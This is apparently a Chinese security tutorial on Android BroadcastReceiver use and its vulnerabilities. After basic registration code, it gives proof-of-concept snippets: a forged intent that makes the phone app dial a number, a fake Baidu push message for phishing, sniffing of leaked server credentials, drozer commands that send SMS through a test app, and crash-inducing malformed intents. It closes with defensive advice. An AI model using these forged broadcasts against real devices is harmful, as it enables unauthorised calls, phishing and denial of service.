// 继承BroadcastReceivre类public class mBroadcastReceiver extends BroadcastReceiver {
  // 复写onReceive()方法  // 接收到广播后，则自动调用该方法  @Override  public void onReceive(Context context, Intent intent) {   //写入接收广播后的操作    }}

操作步骤：（1）继承BroadcastReceivre基类（2）必须复写抽象方法onReceive()方法    广播接收器接收到相应广播后，会自动回调 onReceive() 方法，一般情况下，onReceive方法会涉及 与 其他组件之间的交互，如发送Notification、启动Service等，默认情况下，广播接收器运行在 UI 线程，因此，onReceive()方法不能执行耗时操作，否则将导致ANR

<receiver    android:enabled=["true" | "false"]//此broadcastReceiver能否接收其他App的发出的广播//默认值是由receiver中有无intent-filter决定的：如果有intent-filter，默认值为true，否则为false    android:exported=["true" | "false"]    android:icon="drawable resource"    android:label="string resource"//继承BroadcastReceiver子类的类名    android:name=".mBroadcastReceiver"//具有相应权限的广播发送者发送的广播才能被此BroadcastReceiver所接收；    android:permission="string"//BroadcastReceiver运行所处的进程//默认为app的进程，可以指定独立的进程//注：Android四大基本组件都可以通过此属性指定自己的独立进程    android:process="string" >
//用于指定此广播接收器将接收的广播类型//本示例中给出的是用于接收网络状态改变时发出的广播 <intent-filter><action android:name="android.net.conn.CONNECTIVITY_CHANGE" />    </intent-filter></receiver>

<receiver    //此广播接收者类是mBroadcastReceiver    android:name=".mBroadcastReceiver" >    //用于接收网络状态改变时发出的广播    <intent-filter>        <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />    </intent-filter></receiver>

Intent intent = new Intent();//对应BroadcastReceiver中intentFilter的actionintent.setAction("BROADCAST_ACTION");//发送广播sendBroadcast(intent);

<receiver    //此广播接收者类是mBroadcastReceiver    android:name=".mBroadcastReceiver" >    //用于接收网络状态改变时发出的广播    <intent-filter>        <action android:name="BROADCAST_ACTION" />    </intent-filter></receiver>

系统操作    action监听网络变化    android.net.conn.CONNECTIVITY_CHANGE关闭或打开飞行模式    Intent.ACTION_AIRPLANE_MODE_CHANGED充电时或电量发生变化    Intent.ACTION_BATTERY_CHANGED电池电量低    Intent.ACTION_BATTERY_LOW电池电量充足（即从电量低变化到饱满时会发出广播    Intent.ACTION_BATTERY_OKAY系统启动完成后(仅广播一次)    Intent.ACTION_BOOT_COMPLETED按下照相时的拍照按键(硬件按键)时    Intent.ACTION_CAMERA_BUTTON屏幕锁屏    Intent.ACTION_CLOSE_SYSTEM_DIALOGS设备当前设置被改变时(界面语言、设备方向等)    Intent.ACTION_CONFIGURATION_CHANGED插入耳机时    Intent.ACTION_HEADSET_PLUG未正确移除SD卡但已取出来时(正确移除方法:设置--SD卡和设备内存--卸载SD卡)    Intent.ACTION_MEDIA_BAD_REMOVAL插入外部储存装置（如SD卡）    Intent.ACTION_MEDIA_CHECKING成功安装APK    Intent.ACTION_PACKAGE_ADDED成功删除APK    Intent.ACTION_PACKAGE_REMOVED重启设备    Intent.ACTION_REBOOT屏幕被关闭    Intent.ACTION_SCREEN_OFF屏幕被打开    Intent.ACTION_SCREEN_ON关闭系统时    Intent.ACTION_SHUTDOWN重启设备    Intent.ACTION_REBOOT注：当使用系统广播是，只需要在注册广播接收者时定义相关的action即可，并不需要手动发送广播，当系统有相关操作时会自动进行系统广播

sendOrderedBroadcast(intent,null); //参数1：接收的Intent 参数2：与权限相关字符串，一般为null

//注册应用内广播接收器//步骤1：实例化BroadcastReceiver子类 & IntentFilter mBroadcastReceivermBroadcastReceiver = new mBroadcastReceiver();IntentFilter intentFilter = new IntentFilter();
//步骤2：实例化LocalBroadcastManager的实例localBroadcastManager = LocalBroadcastManager.getInstance(this);
//步骤3：设置接收广播的类型intentFilter.addAction(android.net.conn.CONNECTIVITY_CHANGE);
//步骤4：调用LocalBroadcastManager单一实例的registerReceiver（）方法进行动态注册localBroadcastManager.registerReceiver(mBroadcastReceiver, intentFilter);
//取消注册应用内广播接收器localBroadcastManager.unregisterReceiver(mBroadcastReceiver);
//发送应用内广播Intent intent = new Intent();intent.setAction(BROADCAST_ACTION);localBroadcastManager.sendBroadcast(intent);

对于静态注册（全局+应用内广播），回调onReceive(context,intent)中的context返回值是：ReceiverRestrictedContext对于全局广播的动态注册，回调onReceive(context, intent)中的context返回值是：Activity Context；对于应用内广播的动态注册（LocalBroadcastManager方式），回调onReceive(context, intent)中的context返回值是：Application Context对于应用内广播的动态注册（非LocalBroadcastManager方式），回调onReceive(context, intent)中的context返回值是：Activity Context

private void d() {    Intent v1 = new Intent();    v1.setAction("com.sample.action.server_running");    v1.putExtra("local_ip",v0.h);    v1.putExtra("port",v0.i);    v1.putExtra("code",v0.g);    v1.putExtra("connected",v0.s);    v1.putExtra("pwd_predefined",v0.r);    if(!TextUtils.isEmpty(v0.t)){        v1.putExtra("connected_usr",v0.t);    }    sendBroadcast(v1);}

public void onReceive(Context context,Intent intent){    String s = null;    if(intent.getAction().equals("com.sample.action.server_running")){        String pwd=intent.getStringExtra("connected");        s="Airdroid => ["+pwd+"]/"+intent.getExtras();    }    Toast.makeTest(context,String.format("%sReceived",s),Toast.LENGTH_SHORT).show();}

Intent intent = new Intent("my-sensitive-event");intent.putExtra("event","this is a test event");LocalBroadcastManager.getInstance(this).sendBroadcast(intent);

public class MainActivity extends Activity {@Overridepublic void onCreate(Bundle state) {    IntentFilter filter = new IntentFilter();           filter.addAction(android.net.wifi.STATE_CHANGE);    filter.addAction(android.net.wifi.RSSI_CHANGED);    registerReceiver(receiver, filter);}
BroadcastReceiver receiver = new BroadcastReceiver() {@Overridepublic void onReceive(Context context, Intent intent) {    Log.d(intent.toString());    ….}};

Intent intent = new Intent();intent.setAction("net.cactii.flash2.TOGGLE_FLASHLIGHT");sendBroadcast(intent);

Intent intent = new Intent();intent.setComponent(new ComponentName("com.android.phone","com.android.phone.PhoneGlobals$NotificationBroadcastReceiver"));intent.setAction("com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION");intent.setData(Uri.parse("tel:10000"));intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);sendBroadcast(intent);

adb shell am broadcast -a android.intent.action.PACKAGE_FULLY_REMOVED -d package:com.wumii.android.mimi

Intent i = new Intent(); i.setAction("com.baidu.android.pushservice.action.MESSAGE")； Bundle b = new Bundle(); try {     JSONObject jsobject = new JSONObject();//1. phishing     JSONObject custom_content_js = new JSONObject();     jsobject.put("title", "百度云盘【漏洞你中奖了！】");     jsobject.put("description", "");     //jsobject.put("url", "http://bcscdn.baidu.com/netdisk/BaiduYun_5.1.0.apk");     jsobject.put("url", "http://drops.wooyun.org/webview.html");     JSONObject customcontent_js = new JSONObject();               customcontent_js.put("type", "1");     customcontent_js.put("msg_type", "resources_push");     customcontent_js.put("uk", "1");     customcontent_js.put("shareId", "1");          jsobject.put("custom_content", customcontent_js);           String cmd  = jsobject.toString();     b.putByteArray("message", cmd.getBytes("UTF-8")); } catch (Exception e) {     // TODO Auto-generated catch block     e.printStackTrace(); }

设置为签名验证android:protectionLevel="signature"<receiver android:name="com.umeng.message.UmengMessageBootReceiver" android:protectionLevel="signature">    <intent-filter>        <action android:name="android.intent.action.BOOT_COMPLETED"/>    </intent-filter></receiver>

Intent i = new Intent();ComponentName componetName = new ComponentName(  "com.tencent.qqpimsecure",  "com.tencent.qqpimsecure.service.InOutCallReceiver");        i.setComponent(componetName);      sendBroadcast(i);

run app.broadcast.info  -a org.owasp.goatdroid.fourgoats

run app.broadcast.send --action 广播名 --extra string name lisi

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message dog

run app.broadcast.send --action <action>

空指针异常类型转换异常数组越界访问异常类未定义异常其他异常
//Serializable：Intent i = this.getIntent();if(i.getAction().equals(“serializable_action”)){
  i.getSerializableExtra("serializable_key");//未做异常判断}//Parcelable:this.b=(RouterConfig)this.getIntent().getParcelableExtra(“filed_router_config”);//引发转型异常崩溃
谨慎处理接收的intent以及其携带的信息。对接收到的任何数据做try catch处理，以及对不符合预期的数据做异常处理。

# 往期推荐

1.DASCTF八月挑战赛 Android 逆向 apkrev

2. 进程和线程

3.All About Crypto - CTF竞赛密码学方向指南

4. ghostscript 命令注入漏洞分析

5.新人PWN堆Heap总结off-by-null专场

6. CVE-2012-3569 VMware OVF Tool格式化字符串漏洞分析